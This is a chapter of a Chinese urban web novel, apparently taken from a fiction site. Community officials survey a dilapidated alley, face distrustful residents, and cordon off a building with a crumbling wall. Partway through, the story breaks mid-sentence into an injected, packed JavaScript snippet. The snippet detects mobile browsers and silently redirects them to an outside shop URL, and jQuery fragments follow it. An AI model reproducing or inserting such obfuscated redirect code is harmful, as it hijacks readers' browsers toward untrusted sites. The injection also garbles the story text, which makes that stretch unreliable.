文趣网 > 都市小说 > 全网都以为我退圈摆烂了 > 30. 一盆冷水
    临江街道西南角有片老城区,叫梧桐巷。

    名字听着文雅,巷子里的日子却半点不文雅。

    电线在楼与楼之间缠成蜘蛛网,外墙裂着缝,排水管锈得发黑。楼道里堆着旧家具和纸箱,雨一大,地面就返潮;夏天再一热,蚊虫和霉味一起往上翻。

    这些年不是没人提过改造。

    提过很多次。

    每次一提,居民群里就先炸。

    有人怕搬迁补偿不公,有人怕改坏了没地方住,有人怕“改造”两个字只是包装过的赶人,也有人纯粹不信——

    觉得街道干部来来去去,拍两张照、说几句好听话,最后还是留下一地鸡毛。

    车开到梧桐巷路口的时候,王主任放下手里那叠卷了边的旧摸排档案,没说里面是什么。谢临舟也没问。

    她抬手敲了敲玻璃。

    “停这儿。”

    司机踩下刹车。

    后头那辆派出所的车也跟着停了下来。周敬下了车,把警戒带和一个带磁吸的勘察手电往腰上一别。

    “我跟一趟。”他说。

    王主任没多问。她和派出所共事二十年——对方这两个字落下,意思就到了:今天梧桐巷这趟,多了一双眼睛。

    小林抱着一叠摸排表从后座挤下来,谨慎地咽了口唾沫。陈默穿着志愿者马甲,手里举着临时记录板,一并跟着下了车。

    王主任在巷口站住,回头看谢临舟。

    “你有心理准备。”

    她的目光没在他脸上停太久,落到前面那片灰扑扑的旧楼上。

    “这里不是你靠直播逗笑两个阿姨、抓一个骗子就能解决的地方。”

    谢临舟没说话,只点了点头。

    王主任瞥他一眼:“听见没?”

    “听见了。”

    “那你脸上怎么没什么表情?”

    “习惯了。”他说。

    王主任:“……你这习惯,倒是挺适合挨骂。”

    清晨七点半,巷子里卖早点的摊子刚支起来,油锅滋啦作响。

    几个老住户端着搪瓷缸坐在门口,看见街道的人来了,神情都很微妙。

    有人直接别过头假装没看见。

    有人斜着眼上下打量,像在掂量他们能在这儿待几天。

    还有一个小孩蹲在门槛边吃早饭,抬头好奇地看了半晌,被他奶奶一把拽回去:“别看,看什么看。”

    小林低声:“主任,我怎么觉得大家看咱们像看拆迁队。”

    “自信点。”王主任说,“把‘像’去掉。”

    陈默低声感叹:“这比我以前蹲直播可刺激多了。”

    “以前你蹲直播是出去骂人。”周敬乐了一声,“你那算什么刺激,真正刺激的是待会儿挨骂。”

    “……别乌鸦嘴。”

    “我这不是乌鸦嘴。”周敬说,“是经验。”

    陈默:“……我今天才来第一天。”

    “第一天更得有心理准备。”

    陈默默默把记录板抱得更紧了一点。

    谢临舟没说话。

    他站在巷口,抬眼往里看。

    老楼很密,窗台上晾着衣服,墙根摆着泡沫箱种菜,窄巷勉强能并过两辆电动车。风从里面吹出来,带着潮气、油烟气和一种很多年没翻新过的旧味道。

    再往里走一点,一楼某户门前直接贴着一张纸。

    字写得很大:

    “不同意乱改!谁来都没用!”

    小林看得头皮一紧:“……主任,这还没进门呢。”

    “正常。”王主任神色平静,“这算客气的。”

    “客气?”

    “三年前有一次,我们在巷口被人泼过水。”王主任淡淡道,“人家嫌我们堵着他家门口谈事。”

    小林:“……”

    陈默用敬佩的眼神看着王主任:“主任您这二十年是怎么过来的。”

    “硬过。”王主任一个字,“还能怎么过。”

    说完她转头看向谢临舟:“今天先摸底,不硬推,不表态,不乱答应。你少用你那套一句话把人噎住的本事,这里老人多,火气也多。”

    谢临舟“嗯”了一声。

    下一秒,旁边巷口一个头发花白的大爷已经把搪瓷缸一搁,直接发话:

    “又来拍照啊?”

    众人脚步一顿。

    那大爷穿着白背心,腰板倒挺直,眼神却不善,看见街道的人,语气里先带了三分刺。

    “上个月来一拨,前年也来一拨,表填了八百张,最后怎么着?楼道灯还是坏的,雨还是往屋里灌。”他眯起眼,“这回又轮到谁下来镀金了?”

    空气安静一瞬。

    小林脸都僵了。

    陈默默默把记录板放低了点。

    王主任刚想开口,谢临舟已经上前半步。

    “不是镀金。”他说。

    大爷冷笑:“那是干什么?”

    “来挨骂。”谢临舟语气很平,“顺便看看,您这儿到底哪儿最该先修。”

    大爷一愣。

    周围几个原本在看热闹的住户也明显愣了下。

    这回答太直白,反倒让人一时接不上。

    大爷盯着他看了两秒,忽然认出来了:“你是不是那个……电视里那个?”

    “不是。”谢临舟说,“我是临江街道的。”

    “少来。”旁边一位阿姨插嘴,“我孙女天天拿你视频下饭。”

    要是弹幕在场,这会儿大概已经刷满了屏。

    可现场没有弹幕。

    只有晨光下真实又复杂的一群人。

    谢临舟也没否认,只把摸排表翻开:“您先说,最烦哪一项。”

    大爷被问得一顿,下意识脱口而出:“漏水。”

    “哪儿漏?”

    “楼顶。”

    “几栋几单元?”

    “六栋二单元。”

    “每次下雨都漏?”

    “大的漏,小的渗。”

    谢临舟低头记了下来,抬眼又问:“除了这个?”

    大爷本来还想继续摆脸色,可谢临舟问得太顺,他一时没刹住话头:“下水也堵,味冲得很。还有楼下那个拐角,电动车老乱停,真着火一个都别想跑。”

    “知道了。”谢临舟记完,点头,“今天先看这三处。”

    大爷这才后知后觉反应过来,自己居然真跟他说上了。

    他有点不自在地别过脸,嘴上还硬:“你记了也未必有用。”

    “嗯。”谢临舟说,“所以我得先看,不然连挨骂都挨不准。”

    大爷:“……”

    王主任在旁边差点没憋住,扭头瞥了谢临舟一眼,没说话。

    旁边那位阿姨忍不住捂嘴笑:“你这小伙子,说话是真噎人。”

    “阿姨您要不要也补一项?”陈默反应极快地凑上去递记录板,“趁现在登记,后面排不到。”

    阿姨被这话逗乐了:“那你给我记一个——我家二楼顶上那窝鸽子,能不能管管?”

    “鸽子?”陈默眨眼。

    “每天早上五点就开始咕咕。”阿姨说,“我孙子学都不想上了。”

    “……这我不确定属于街道办管还是属于物业管。”

    “那你去问。”阿姨坚定道,“问不到,你就写上。”

    陈默认命地在板子上添了一项:“鸽子,二楼,扰民。”

    小林在旁边笑出了声。

    一上午,他们沿着梧桐巷一条巷一条走。

    越走,问题越多。

    墙体裂缝、楼道堆物、消防通道被占、共用厨房线路老化、老住户独居比例高、历史产权混乱、部分商户夹杂其中……

    这不是刷一层外墙、换几盏灯就能糊弄过去的事。

    小林记录得手腕发酸,忍不住低声说:“这哪是改造,这得是开刀。”

    “所以难。”王主任说。

    谢临舟没接,只在经过七栋时停住了脚步。

    七栋外墙底部有一块明显新补过的水泥痕迹,颜色和周围不一样。

    他蹲下去看了两眼,又摸了摸墙面。

    “这谁补的?”他问。

    旁边一个晒被子的阿姨顺口答:“住户自己找人补的呗。上次掉砖,差点砸着小孩。”

    气氛瞬间一静。

    王主任脸色沉了。

    周敬也站直了。

    这就不是居民满不满意的问题了。

    是安全隐患。

    “多久前的事?”王主任冷声问。

    “一两个月前吧。”那阿姨没察觉气氛变化,“小孩没大事,就擦破皮,家长怕再出事,自己掏钱找人补的。”

    “他们报没报?”

    “报了。”阿姨叹气,“物业说先登记。登记完,到现在也没人来再看一眼。”

    “后来家长催过两回,物业说要等统一维修。楼里几个老人怕再掉,凑了点钱,找人先把底下那块临时补了。”

    王主任的脸色更难看了。

    谢临舟站起身,抬头看那片老旧外墙,嗓音很低。

    “先封线。”

    小林一愣:“啊?”

    “这栋今天就封警戒线。”他说,“让物业立刻来,先做临时排险。”

    “可是——”

    “没可是。”谢临舟看向王主任,“主任,先走报备。这事儿再拖一天,都是我们的责任。”

    王主任深吸一口气:

    “你说得对。”

    她掏出手机,先拨物业,再拨住建口。

    “让物业马上到场,街道这边同步报住建口。今天下午前,先要个初

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509975|202955||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    步排险意见。”

    周敬没等别人发话,直接回车里拿警戒带,回来麻利地把那段外墙底下圈起来:“一米五之内不准停车不准走人,先挡上。”

    陈默本来拿着记录板还在四处晃,看见这一幕也立刻安静下来,蹲下帮周敬扶着带子的另一头。

    他扯带子的时候,手有点抖。

    不是紧张。

    是他蹲在地上,第一次离这块掉过砖的墙这么近——近到能看见水泥补痕里夹着一根细头发丝。

    他以前在网上骂过很多次“走流程”“装样子”。

    可真站在这面墙底下,他才发现,有些决定其实一点都不响。

    封了,会有人骂。

    不封,真出事的时候,谁也担不起。

    谢临舟刚才那句“没可是”还在他耳朵里。

    没硬气,没情绪,和他蹲下去量裂缝时一样稳。

    陈默忽然没话了。

    几位原本蹲在门口看热闹的老人,这时候都有些愣住了。

    那位贴“不同意乱改”的屋主——后来大家才知道他姓王——也拄着拐杖从屋里走出来,看见这阵仗,眉头一皱:“你们干什么?”

    “封线。”王主任说,“排险。”

    “你们这是要动我这栋?”

    “您的楼底下外墙一个月前就掉过砖,差点砸着孩子。”谢临舟接过话,语气很平,“我们今天来,不是为了拆您家,是为了保证它别把人砸了。”

    王大爷沉默了。

    他看了看那片带着补痕的墙,又看了看蹲在警戒带边的周敬和陈默,最后把嘴里那句本来要发火的话,咽了回去。

    过了好几秒,他才闷闷地说:

    “……那你们慢慢弄。”

    王主任在心里长长吐出一口气。

    梧桐巷她磨了几年,知道这里每一句松口都来得不容易。

    王大爷这半句话,不算答应,更谈不上配合。

    可至少,今天没人再把他们往巷口外赶。

    她转头看了一眼正蹲在墙角仔细拍那块空鼓外墙的谢临舟。

    他还在专注地量那块空鼓的面积、记录裂缝长度,完全没察觉身后那一番动静。

    王主任没夸他。

    她只是默默掏出手机,在工作群里发了一条短信息:

    “今天七栋外墙封线,明早八点专项组开会研究后续。”

    她把手机收好,背着手走到下一栋楼门口,继续摸排。

    梧桐巷没有给他们热身的机会。

    第一个上午,掉过砖的外墙、临时拉起的警戒线、老人咽回去的那句火气,就已经把事情摊开了。

    小林抱着那叠摸排表站在巷口,忽然对谢临舟说:

    “谢老师,我有点紧张。”

    “嗯。”

    “这地方是不是咱们干过最难的一摊?”

    谢临舟看了他一眼。

    “是。”他说。

    “那咱们……能干下来吗?”

    谢临舟没立刻回答。

    他抬头看着梧桐巷头顶上那一线被电线切得乱七八糟的天,过了几秒,才淡淡说:

    “干下来是目标。”

    “如果干不下来呢?”

    “那就一段一段干。”他说,“至少今天这栋楼下面,不会再有孩子被砸。”

    小林愣了愣。

    然后重重点了点头,把那叠摸排表又往怀里抱紧了一点。

    那天下午,王大爷家门口那张“不同意乱改!谁来都没用!”的纸,悄悄被人揭了一角。

    揭的不是街道办的人,是他自己。

    王大爷借着去阳台收衣服的工夫,顺手把那张纸扯下来,揉成一团塞进了自家垃圾桶最底下。

    他没让任何人看见。

    他这辈子最要面子,让别人看见他“退一步”,比挨一拳还难受。

    所以他选择——偷偷退。

    屋里没人看见,他在垃圾桶前站了几秒,最后朝楼下瞥了一眼。

    楼下那条刚刚被封上警戒线的区域,周敬还在固定最后一段带子。

    不一会儿,巷口又开进来一辆车。

    两个穿物业制服的下来,被王主任带到外墙底下,蹲下去看。

    王主任在旁边一边指,一边接电话。

    王大爷站在阳台上,半天没动。

    他们鞋上都沾着巷子里的土。

    蹲下去的时候,也没人嫌脏。

    那个穿志愿者马甲的年轻人还在一声不吭地扯警戒带,扯歪了,又重新拉直。

    王大爷站了一会儿,低低叹了口气。

    他没跟任何人说什么。

    只是把垃圾桶盖上,回到屋里,打开电视。

    音量调得比平时小。

    楼下要是再有什么动静,他想听见。